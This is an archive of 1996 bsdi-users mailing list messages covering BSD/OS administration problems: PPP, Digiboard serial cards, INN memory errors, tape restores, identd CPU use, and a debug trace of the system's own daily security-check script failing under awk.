<199611150622.WAA11168@infomatch.com> X-Sender: john@infomatch.com X-Mailer: Windows Eudora Pro Version 2.1.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: John Chapman Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@bsdi.com Subject: Warp 4 PPP -> BSD/OS PPP Date: Thu, 14 Nov 1996 22:22:16 -0800 (PST) We have a number of users running IBM Warp 4, and they are all having problems with PPP. Either the connection will not negotiate or it will drop during a session. Wondering if anyone else has noticed this. John. ----------------------------------------------------------------------------- |||| John Chapman UNIX - SL/IP - WWW || john@infomatch.com (604)421-3230 |||| InfoMatch Communications Inc http://infomatch.com From VM Fri Nov 15 22:45:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2138" "Fri" "15" "November" "1996" "06:54:33" "-0800" "Gary N. McKinney" "gmckinney@megabits.net" nil "63" "Re: Digiboard Configuration" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id HAA07912 for ; Fri, 15 Nov 1996 07:07:22 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id HAA20842 for bsdi-users-outgoing; Fri, 15 Nov 1996 07:02:24 -0500 (EST) Message-ID: <328C8429.282@megabits.net> Reply-To: gmckinney@megabits.net Organization: MegaBits Computers, Inc. X-Mailer: Mozilla 3.01Gold (Win16; U) MIME-Version: 1.0 References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: "Gary N. McKinney" Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson CC: Bill Warner , Brian Backer , bsdi-users@BSDI.COM Subject: Re: Digiboard Configuration Date: Fri, 15 Nov 1996 06:54:33 -0800 Chris McGlasson wrote: > > Hello Guys. I am still here and still working on this board. I get the > follwoing error when the system boots up: > > Starting local daemons > digisetup: open of /dev/ttyA00 said "Device not configured" > usage: digisetup [-l #] [-a] [-o] /dev/any_tty_on_board > > Now I have the following call in my rc.local > > /usr/sbin/digisetup -l 16 /dev/ttyA00 > > Is the above error stating that the digiboard is not recognized by the > BSDI program? I am at a total loss here. I have configured the > rc.hardware, made my entries in the /etc/ttys as needed, and as far as I > know my rc.local is cofigured correctly. > > Are there some patches I might need to get from BSDI? Thanks for the > help. > > Chris McGlasson > > On Thu, 14 Nov 1996, Bill Warner wrote: > > > At 12:22 AM 11/14/96 -0500, Brian Backer wrote: > > > > > > > > >One problem you may wish to correct is that with 2.1 you dont use > > >digisetup. you use rc.hardware. What else are you trying to do and what > > >is the problem? > > > > Brian, > > > > You're right, on 2.1 you really should use the rc.hardware mechanism. > > Ultimately though, rc.hardware just provides a fancy way to run digisetup. > > So, as long as your sure that you do things in the right order the result > > should be the same as running digisetup "by hand" in rc.local. > > > > The problem is though, if you don't shuffle things around you may end up > > with something trying to use the digi before it is setup, which is not a > > good thing. > > > > So Chris, if you are still with us, you might want to switch to using > > rc.hardware to run digisetup. > > > > Bill > > Chris ... Just a suggestion (as I don't recall if the driver is in the Generic build or not) you might want to check the kernel build configuration file to see if the Digiboard driver is setup in the kernel or if you need to compile a kernel with the driver for digiboard (even the binaries package is capable of this). We had to do this in order to use the Comptrol Rocketport cards but I just don't remember if the Digiboard driver is pre-installed... Hope this helps ... gm... From VM Fri Nov 15 22:45:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2724" "Fri" "15" "November" "1996" "09:17:16" "+0100" "bobie@grendel.sylaba.poznan.pl" "bobie@grendel.sylaba.poznan.pl" nil "67" "Re: INN 1.4unoff4 and BSDI 2.1 Question" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id HAA08996 for ; Fri, 15 Nov 1996 07:52:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id HAA20896 for bsdi-users-outgoing; Fri, 15 Nov 1996 07:48:08 -0500 (EST) In-Reply-To: <199611141758.MAA11143@brickell.bridge.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: MP Sender: owner-bsdi-users@lists.gateway.com To: arodriguez@bridge.net cc: bsdi-users@BSDI.COM Subject: Re: INN 1.4unoff4 and BSDI 2.1 Question Date: Fri, 15 Nov 1996 09:17:16 +0100 (MET) We are publishing a polish daily newspaper on Internet everyday. I have a big shell script which automates the conversion from QuarkXpress tags to complete tree of htmls of this newspaper. During the evaluation of this script and thousands of corrections, one day I GOT THE SIMILIAR PROBLEM. It happened when I left about 500 temporary files in my /tmp It has 8 MB on MFS. The problem disappeared when I cleaned up the /tmp just after conversion On Thu, 14 Nov 1996 arodriguez@bridge.net wrote: > I have recently set up a new news server. It is on a P-133 with 128mb of > ram, I am using BSDI 2.1 and INN 1.4unoff4. My problem is I seem to be > having memory errors, I will post the log below. Anyone have any idea > whats > up? > > Nov 12 10:55:47 skyway innd: ME cant fork /usr/contrib/lib/news/in.nnrpd > Cannot allocate memory > Nov 12 10:55:54 skyway innd: ME cant fork /usr/contrib/lib/news/in.nnrpd > Cannot allocate memory > Nov 12 10:55:56 skyway innd: ME cant fork /usr/contrib/lib/news/in.nnrpd > Cannot allocate memory > Nov 12 10:56:17 skyway innd: ME cant fork /usr/contrib/lib/news/in.nnrpd > Cannot allocate memory > Nov 12 10:56:19 skyway innd: ME cant fork /usr/contrib/lib/news/in.nnrpd > Cannot allocate memory > Nov 12 10:56:20 skyway innd: ME cant fork /usr/contrib/lib/news/in.nnrpd > Cannot allocate memory > Nov 12 10:56:23 skyway innd: ME cant fork /usr/contrib/lib/news/in.nnrpd > Cannot allocate memory > Nov 12 10:56:24 skyway innd: ME cant > fork/usr/contrib/lib/news/bin/control/newgroup Cannot allocate memory > Nov 12 10:56:24 skyway innd: ME cant spawn > /usr/contrib/lib/news/bin/control/newgroup for control/newgroup/17612 > Cannot > allocate memory > Nov 12 10:56:30 skyway innd: ME cant fork /usr/contrib/lib/news/in.nnrpd > Cannot allocate memory > > Any help will be apreciated. > > Thank You, > Alex Rodriguez > BridgeNet, LC > > > \\\\ > (@ @) > +________________ooOo_(-)_oOoo________________________________+ > | Alejandro Rodriguez \\\\ BridgeNet, LC | > | arodriguez@bridge.net 100 South Biscayne Blvd. | > | Suite 1315 | > | Miami, Florida 33131 | > | 305.374.3031 | > | http://www.bridge.net | > +_____________________________________________________________+ > > > "They that give up essential liberty to obtain a little temporary safety > deserve neither liberty nor safety." > Benjamin Franklin 1759 > From VM Fri Nov 15 22:45:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["495" "Thu" "14" "November" "1996" "16:51:01" "-0800" "System Administrator" "root@chiba.netxn.com" nil "15" "RESTORING!!!" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id HAA09001 for ; Fri, 15 Nov 1996 07:53:53 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id HAA20909 for bsdi-users-outgoing; Fri, 15 Nov 1996 07:48:50 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: System Administrator Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: RESTORING!!! Date: Thu, 14 Nov 1996 16:51:01 -0800 (PST) I am having problems with restoring a directory off of my tape backup. I have performed the following: mt -f /dev/nrst0 fsf 5 5 being where the filesystem I want to restore When I try a : restore -if /dev/nrst0 to read the files I get the following error: tape read error: Undefined error: 0 Am I doing something wrong. As far as I know this is the only thing I need to do to access the tape. Any suggestions would be greatly appreciated. Thanks in advance. Chris McGlasson From VM Fri Nov 15 22:45:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["869" "" "12" "November" "1996" "04:05:13" "GMT" "Gone a. long time" "djf2@ss0" nil "22" "Suspending logins...Possible?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id HAA09005 for ; Fri, 15 Nov 1996 07:54:19 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id HAA20915 for bsdi-users-outgoing; Fri, 15 Nov 1996 07:49:06 -0500 (EST) Path: vixen.cso.uiuc.edu!newsfeed.internetmci.com!cpk-news-hub1.bbnplanet.com!news.bbnplanet.com!cam-news-hub1.bbnplanet.com!news.idt.net!psinntp!news.cs.columbia.edu!sol.ctr.columbia.edu!newsxfer.itd.umich.edu!cwis-20.wayne.edu!ss0!djf2 Newsgroups: info.bsdi.users Organization: Wayne State University Lines: 21 Message-ID: <568t1p$53o@cwis-20.wayne.edu> NNTP-Posting-Host: ss0.eng.wayne.edu X-Newsreader: TIN [version 1.2 PL2] Precedence: bulk From: djf2@ss0 (Gone a long time) Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: Suspending logins...Possible? Date: 12 Nov 1996 04:05:13 GMT Hi Everyone, As the subject implies, I'm trying to suspend user logins on a BSDI 2.1 server, not only telnet sessions but ftp sessions as well. The reason I'm trying to do this is to do level 0 dumps every morning around 4am. The server that I'm attempting to do this with does not get large amounts of interactive logins, but does verify user logins for a portmaster. So, I was wondering about the feasibility of just backing up the full system every night, has anyone done/thought of doing this? Is this worth my effort of doing? Does anyone know if BSDI's version of dump is able to handle doing such a backup while still allowing me to restore the full system? Thanks in advance for any help, Don Flynn P.S. (Email replies are cool too) --- .sig under destruction djf2@ss0.eng.wayne.edu (This acct living on borrowed time) From VM Fri Nov 15 22:46:01 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["657" "Fri" "15" "November" "1996" "08:21:13" "-0500" "Roch Pageau" "rpageau@inexpress.net" nil "20" "ps -aux bizareness" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA10106 for ; Fri, 15 Nov 1996 08:30:26 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA20984 for bsdi-users-outgoing; Fri, 15 Nov 1996 08:23:57 -0500 (EST) Message-Id: <1.5.4.32.19961115132113.0096f7b8@204.101.127.2> X-Sender: rpageau@204.101.127.2 X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Roch Pageau Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: ps -aux bizareness Date: Fri, 15 Nov 1996 08:21:13 -0500 I did a ps -aux this morning and got this fisrt entry dated Dec 31 1969. When I try and kill it the system returns that it does not exist. It worries me because its running as root. Cannot find any reference in any of the log files. Any ideas appreciated????? USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND root 7356 0.0 0.0 220 12 p0 RV 31Dec69 0:00.00 (csh) root 0 0.0 0.0 0 0 ?? DLs Fri10AM 0:04.60 (swapper) root 1 0.0 0.3 144 256 ?? Is Fri10AM 0:31.67 /sbin/init -- root 2 0.0 0.0 0 12 ?? DL Fri10AM 0:00.01 (pagedaemon) Thanks Roch From VM Fri Nov 15 22:46:05 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["749" "Fri" "15" "November" "1996" "09:31:36" "-0500" "Ralph Saunders" "ralph@falcon.keystone.com" nil "17" "Re: Modem Config Program " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA12012 for ; Fri, 15 Nov 1996 09:41:51 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id JAA21069 for bsdi-users-outgoing; Fri, 15 Nov 1996 09:40:42 -0500 (EST) Message-Id: <199611151431.JAA10001@falcon.keystone.com> In-reply-to: Your message of "Thu, 14 Nov 1996 19:41:23 EST." Precedence: bulk From: Ralph Saunders Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer cc: Chris McGlasson , bsdi-users@BSDI.COM, ralph@falcon.keystone.com Subject: Re: Modem Config Program Date: Fri, 15 Nov 1996 09:31:36 -0500 > well if you have a windoze 3.x or 95 machine, just plug it in and user > hyper terminal or terminal. > ...or run X windows and use seyon, it comes with the system. 8^) ralph ============================================================================== |> <| |> Ralph Saunders Internet: ralph@keystone.com <| |> Keystone Software, Inc. <| |> Springfield, VA <| |> <| ============================================================================== From VM Fri Nov 15 22:46:06 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["749" "Fri" "15" "November" "1996" "09:31:36" "-0500" "Ralph Saunders" "ralph@falcon.keystone.com" nil "17" "Re: Modem Config Program " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA12024 for ; Fri, 15 Nov 1996 09:42:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id JAA21061 for bsdi-users-outgoing; Fri, 15 Nov 1996 09:37:56 -0500 (EST) Message-Id: <199611151431.JAA10001@falcon.keystone.com> In-reply-to: Your message of "Thu, 14 Nov 1996 19:41:23 EST." Precedence: bulk From: Ralph Saunders Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer cc: Chris McGlasson , bsdi-users@BSDI.COM, ralph@falcon.keystone.com Subject: Re: Modem Config Program Date: Fri, 15 Nov 1996 09:31:36 -0500 > well if you have a windoze 3.x or 95 machine, just plug it in and user > hyper terminal or terminal. > ...or run X windows and use seyon, it comes with the system. 8^) ralph ============================================================================== |> <| |> Ralph Saunders Internet: ralph@keystone.com <| |> Keystone Software, Inc. <| |> Springfield, VA <| |> <| ============================================================================== From VM Fri Nov 15 22:46:06 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["386" "Fri" "15" "November" "1996" "09:45:24" "" "Dave Godglick" "drg@bond.net" nil "13" "Re: ps -aux bizareness" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA12031 for ; Fri, 15 Nov 1996 09:50:01 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id JAA21080 for bsdi-users-outgoing; Fri, 15 Nov 1996 09:46:20 -0500 (EST) Message-Id: <199611151440.JAA05492@www1.bond.net> Comments: Authenticated sender is MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Reply-to: support@bond.net X-mailer: Pegasus Mail for Win32 (v2.42) Precedence: bulk From: "Dave Godglick" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: ps -aux bizareness Date: Fri, 15 Nov 1996 09:45:24 +5 On 15 Nov 96 at 8:21, Roch Pageau wrote: > I did a ps -aux this morning and got this fisrt entry dated Dec 31 1969. > When I try and kill it the system returns that it does not exist. It worries > me because its running as root. So are you. Try logging in, not as root, and look again. Dave Godglick ------------------------------ Bondnet Internet Services Inc. http://www.bond.net From VM Fri Nov 15 22:46:07 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1434" "Fri" "15" "November" "1996" "07:31:25" "-0700" "Stephen Fisher" "lithium@cia-g.com" nil "34" "Re: identd Process CPU Utilization" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA12305 for ; Fri, 15 Nov 1996 09:53:02 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id JAA21053 for bsdi-users-outgoing; Fri, 15 Nov 1996 09:32:47 -0500 (EST) In-Reply-To: <199611150026.QAA17955@dei.calldei.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Stephen Fisher Sender: owner-bsdi-users@lists.gateway.com To: "David A. Lee" cc: John Henders , bsdi-users@BSDI.COM Subject: Re: identd Process CPU Utilization Date: Fri, 15 Nov 1996 07:31:25 -0700 (MST) The reverse ip address->name translation is done by the name server. I don't think it takes 10x longer to do it but it does add a little bit of extra processing time (that probably isn't very noticable unless you run a high traffic site). Identd is used for verifying who the user really is that connected to your web site/irc server/sendmail port/whatever. This scheme works fine in a normal Unix server where the users can't make it lie, however on a user's personal machine they can make it respond saying whatever they want. Inetd only loads identd when a connection comes in for port 113. On Thu, 14 Nov 1996, David A. Lee wrote: > I believe inetd is also used by most WWW servers to translate > IP addresses to domains for logging purposes. > This is considered a very slow operation, and can usually be turned off. > I've heard that it takes 10x longer to do the IP->name translation > than it takes to server the web page! > > > In thom@esva.net (Thom Henderson) writes: > > > > >On 6 Nov 1996, Noel, Richard wrote: > > > > >> Could anyone suggest where I might look to determine what is causing > > >> identd to consume so much CPU time ? > > > > >I would love to know that too. > > > > Someone posted a patch to this list a year or so ago that fixed this. > > However, I can't find my copy of the patch anywhere. You could try the > > list archives. From VM Fri Nov 15 22:46:08 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["9046" "Fri" "15" "November" "1996" "09:46:43" "-0500" "Adena Teague" "ateague@mgsinc.com" nil "302" "Re: Daily Insecurity report" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA12584 for ; Fri, 15 Nov 1996 10:05:46 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA21102 for bsdi-users-outgoing; Fri, 15 Nov 1996 10:01:55 -0500 (EST) Message-Id: <2.2.32.19961115144643.006ca0c0@mgsinc.com> X-Sender: ateague@mgsinc.com X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Adena Teague Sender: owner-bsdi-users@lists.gateway.com To: dreish@izzy.net, bsdi-users@BSDI.COM Subject: Re: Daily Insecurity report Date: Fri, 15 Nov 1996 09:46:43 -0500 At 03:44 PM 11/14/96 -0400, Dan Reish wrote: >What version of Awk are you using? If you have anything older than 2.15, or if your Awk >isn't GNU, this might be the problem. > >If this isn't it, try editing the line in /etc/daily which runs the >security script (it's the last command executed before exit), from > >sh /etc/security 2>&1 | mail -s "$host daily insecurity output" root > >to: > >sh -x /etc/security 2>&1 | mail -s "$host daily insecurity output" root > >This will print each command before it is executed. In the next >report, you should be able to tell exactly which of the commands in >/etc/security is causing problems for awk. You can then mail this to >the list so that an Awk hacker out there can try to identify the >source of the problem. I am running GNU Awk 2.15, patch level 5 and BSD/OS 2.0. I'm including the first few pages of the insecurity report. There are no more errors after what I have listed. If any one has any ideas, I'd love to hear them. BSDI support suggested I remove the current /etc/security file and reinstall the one from disk and apply patch U210-011 again. Any comments on this suggestion, ie is this a good idea? Thanks for any help. Adena Teague + PATH=/sbin:/usr/sbin:/bin:/usr/bin + umask 077 + ERR=/tmp/_secure1.6642 + TMP1=/tmp/_secure2.6642 + TMP2=/tmp/_secure3.6642 + TMP3=/tmp/_secure4.6642 + LIST=/tmp/_secure5.6642 + OUTPUT=/tmp/_secure6.6642 + trap rm -f $ERR $TMP1 $TMP2 $TMP3 $LIST $OUTPUT 0 + MP=/etc/master.passwd + awk -F: { if ($0 ~ /^[ ]*$/) { printf("Line %d is a blank line.\n", NR); next; } if (NF != 10) printf("Line %d has the wrong number of fields.\n", NR); if ($1 !~ /^[A-Za-z0-9]*$/) printf("Login %s has non-alphanumeric characters.\n", $1); if (length($1) > 16) printf("Login %s has more than 16 characters.\n", $1); if ($2 == "") printf("Login %s has no password.\n", $1); if (length($2) != 13 && ($10 ~ /.*sh$/ || $10 == "")) printf("Login %s is off but still has a valid shell.\n", $1); if ($3 == 0 && $1 != "root" && $1 != "toor") printf("Login %s has a user id of 0.\n", $1); if ($3 < 0) printf("Login %s has a negative user id.\n", $1); if ($4 < 0) printf("Login %s has a negative group id.\n", $1); } + [ -s /tmp/_secure6.6642 ] + sort+ uniq+ awk -d -F: { print $1 } /etc/master.passwd awk: cmd. line:2: fatal error: internal error abort - core dumped + [ -s /tmp/_secure6.6642 ] + awk -F:+ sort+ tee+ uniq+ awk { print $1 " " $3 } -n /tmp/_secure2.6642 -d { print $2 } /etc/master.passwd +1 -f 1 awk: cmd. line:2: fatal error: internal error abort - core dumped + [ -s /tmp/_secure3.6642 ] + basename /etc/master.passwd + CUR=/var/backups/master.passwd.current + basename /etc/master.passwd + BACK=/var/backups/master.passwd.backup + [ -s /var/backups/master.passwd.current ] + cmp -s /var/backups/master.passwd.current /etc/master.passwd + : + GRP=/etc/group + awk -F: { if ($0 ~ /^[ ]*$/) { printf("Line %d is a blank line.\n", NR); next; } if (NF != 4) printf("Line %d has the wrong number of fields.\n", NR); if ($1 !~ /^[A-za-z0-9]*$/) printf("Group %s has non-alphanumeric characters.\n", $1); if (length($1) > 8) printf("Group %s has more than 8 characters.\n", $1); if ($3 !~ /[0-9]*/) printf("Login %s has a negative group id.\n", $1); } + [ -s /tmp/_secure6.6642 ] + awk+ uniq -F:+ sort -d { print $1 } /etc/group awk: cmd. line:2: fatal error: internal error abort - core dumped + [ -s /tmp/_secure6.6642 ] + + rhome=/root + umaskset=no + list=/etc/csh.cshrc /etc/csh.login /root/.cshrc /root/.login + [ -f /etc/csh.cshrc ] + egrep umask /etc/csh.cshrc + egrep+ awk umask $2 % 100 < 20 \ { print "Root umask is group writeable" } $2 % 10 < 2 \ { print "Root /etc/csh.cshrcumask is other writeable" } + /bin/csh -f -s + awk { if ($10 ~ /^\.$/) { print "The root path includes ."; next; } } $1 ~ /^d....w/ \ { print "Root path directory " $10 " is group writeable." } \ $1 ~ /^d.......w/ \ { print "Root path directory " $10 " is other writeable." } + [ -f /etc/csh.login ] + egrep umask /etc/csh.login + egrep+ awk umask $2 % 100 < 20 \ { print "Root umask is group writeable" } $2 % 10 < 2 \ { print "Root /etc/csh.loginumask is other writeable" } + /bin/csh -f -s + awk { if ($10 ~ /^\.$/) { print "The root path includes ."; next; } } $1 ~ /^d....w/ \ { print "Root path directory " $10 " is group writeable." } \ $1 ~ /^d.......w/ \ { print "Root path directory " $10 " is other writeable." } + [ -f /root/.cshrc ] + egrep umask /root/.cshrc + egrep+ awk umask $2 % 100 < 20 \ { print "Root umask is group writeable" } $2 % 10 < 2 \ { print "Root /root/.cshrcumask is other writeable" } + /bin/csh -f -s + awk { if ($10 ~ /^\.$/) { print "The root path includes ."; next; } } $1 ~ /^d....w/ \ { print "Root path directory " $10 " is group writeable." } \ $1 ~ /^d.......w/ \ { print "Root path directory " $10 " is other writeable." } + [ -f /root/.login ] + egrep umask /root/.login + umaskset=yes + egrep+ awk umask $2 % 100 < 20 \ { print "Root umask is group writeable" } $2 % 10 < 2 \ { print "Root /root/.loginumask is other writeable" } + /bin/csh -f -s + awk { if ($10 ~ /^\.$/) { print "The root path includes ."; next; } } $1 ~ /^d....w/ \ { print "Root path directory " $10 " is group writeable." } \ $1 ~ /^d.......w/ \ { print "Root path directory " $10 " is other writeable." } + [ yes = no -o -s /tmp/_secure6.6642 ] + + rhome=/root + umaskset=no + list=/root/.profile + [ -f /root/.profile ] + egrep umask /root/.profile + umaskset=yes + egrep+ awk umask $2 % 100 < 20 \ { print "Root umask is group writeable" } \ $2 % 10 < 2 \ { print "Roo /root/.profilet umask is other writeable" } + /bin/sh + awk { if ($10 ~ /^\.$/) { print "The root path includes ."; next; } } $1 ~ /^d....w/ \ { print "Root path directory " $10 " is group writeable." } \ $1 ~ /^d.......w/ \ { print "Root path directory " $10 " is other writeable." } + [ yes = no -o -s /tmp/_secure6.6642 ] + egrep root /etc/ftpusers + : + egrep uucp /etc/ftpusers + : + egrep mikec /etc/ftpusers + : + egrep Pmgs /etc/ftpusers + : + egrep Pdatametrics /etc/ftpusers + : + egrep uudecode:.*\||decode:.*\| /etc/aliases + list=/etc/hosts.equiv /etc/hosts.lpd + egrep \+ /etc/hosts.equiv + egrep \+ /etc/hosts.lpd + awk+ read -F: uid $1 != "root" && $1 != "toor" && \ ($3 < 100 || $1 == "ftp" || $1 == "uucp") \ { print $1 " " $6 homedir} /etc/passwd awk: cmd. line:4: fatal error: internal error abort - core dumped + [ -s /tmp/_secure6.6642 ] + awk+ read -F: uid { print $1 " " $6 } homedir /etc/passwd awk: cmd. line:2: fatal error: internal error abort - core dumped + [ -s /tmp/_secure6.6642 ] + awk+ read $1 != $4 && $4 != "root" \ { print "user " $1 " home directory is owned by " $4 } $2 ~ /^-... uid+ awk.w/ \ { print "user " $1 " home directory is group writeable" } $2 ~ /^-.......w/ \ { print " homedir -F:user " $1 " home directory is other writeable" } { print $1 " " $6 } /etc/passwd awk: cmd. line:2: fatal error: internal error abort - core dumped + [ -s /tmp/_secure6.6642 ] + list=.netrc .rhosts + awk+ read -F: uid+ awk { print $1 " " $6 } homedir $1 != $5 && $5 != "root" \ { print "user " $1 " " $2 " file is owned by " $5 } $3 ~ /^-...r/ /etc/passwd \ { print "user " $1 " " $2 " file is group readable" } $3 ~ /^-......r/ \ { print "user " $1 " " $2 " file is other readable" } $3 ~ /^-....w/ \ { print "user " $1 " " $2 " file is groupawk: cmd. line:2: fatal error: internal error writeable" } $3 ~ /^-.......w/ \ { print "user " $1 " " $2 " file is other writeable" } abort - core dumped + list=.bashrc .cshrc .emacsrc .exrc .forward .klogin .login .logout .profile .tcshrc + awk+ read+ awk -F: uid $1 != $5 && $5 != "root" \ { print "user " $1 " " $2 " file is owned by " $5 } $3 ~ /^-....w/ { print $1 " " $6 } homedir \ { print "user " $1 " " $2 " file is group writeable" } $3 ~ /^-.......w/ \ { print "user " /etc/passwd $1 " " $2 " file is other writeable" } awk: cmd. line:2: fatal error: internal error abort - core dumped + [ -s /tmp/_secure6.6642 ] + ls -l /var/mail + sed+ awk 1d $3 != $9 && $9 != "."$3".pop"\ { print "user " $9 " mailbox is owned by " $3 } $1 != "-rw---- ---" \ { print "user " $9 " mailbox is " $1 ", group " $4 } + [ -s /tmp/_secure6.6642 ] + awk { readonly = 0; for (i = 2; i <= NF; ++i) { if ($i ~ /-ro/) readonly = 1; else if ($i !~ /^-/) next; } if (readonly) print "File system " $1 " globally exported, read-only." else print "File system " $1 " globally exported, read-write." } + [ -s /tmp/_secure6.6642 ] + printf \nChecking for globally exported file systems:\n Checking for globally exported file systems: From VM Fri Nov 15 22:46:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["386" "Fri" "15" "November" "1996" "09:45:24" "" "Dave Godglick" "drg@bond.net" nil "13" "Re: ps -aux bizareness" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA12864 for ; Fri, 15 Nov 1996 10:16:02 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA21096 for bsdi-users-outgoing; Fri, 15 Nov 1996 10:00:50 -0500 (EST) Message-Id: <199611151440.JAA05492@www1.bond.net> Comments: Authenticated sender is MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Reply-to: support@bond.net X-mailer: Pegasus Mail for Win32 (v2.42) Precedence: bulk From: "Dave Godglick" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: ps -aux bizareness Date: Fri, 15 Nov 1996 09:45:24 +5 On 15 Nov 96 at 8:21, Roch Pageau wrote: > I did a ps -aux this morning and got this fisrt entry dated Dec 31 1969. > When I try and kill it the system returns that it does not exist. It worries > me because its running as root. So are you. Try logging in, not as root, and look again. Dave Godglick ------------------------------ Bondnet Internet Services Inc. http://www.bond.net From VM Fri Nov 15 22:46:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1712" "Fri" "15" "November" "1996" "11:55:19" "-0500" "Chet Ramey" "chet@odin.ins.cwru.edu" nil "61" "Re: identd Process CPU Utilization" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA15890 for ; Fri, 15 Nov 1996 12:14:24 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA21320 for bsdi-users-outgoing; Fri, 15 Nov 1996 12:02:07 -0500 (EST) Reply-To: chet@po.cwru.edu In-Reply-To: Message from jhenders@wimsey.com of 14 Nov 1996 11:32:15 -0800 (id <56fs3v$61r@vanbc.wimsey.com>) Message-ID: <9611151655.AA28353.SM@odin.INS.CWRU.Edu> Read-Receipt-To: chet@po.CWRU.Edu MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Chet Ramey Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: identd Process CPU Utilization Date: Fri, 15 Nov 1996 11:55:19 -0500 > In thom@esva.net (Thom Henderson) writes: > > >On 6 Nov 1996, Noel, Richard wrote: > > >> Could anyone suggest where I might look to determine what is causing > >> identd to consume so much CPU time ? > > >I would love to know that too. > > Someone posted a patch to this list a year or so ago that fixed this. > However, I can't find my copy of the 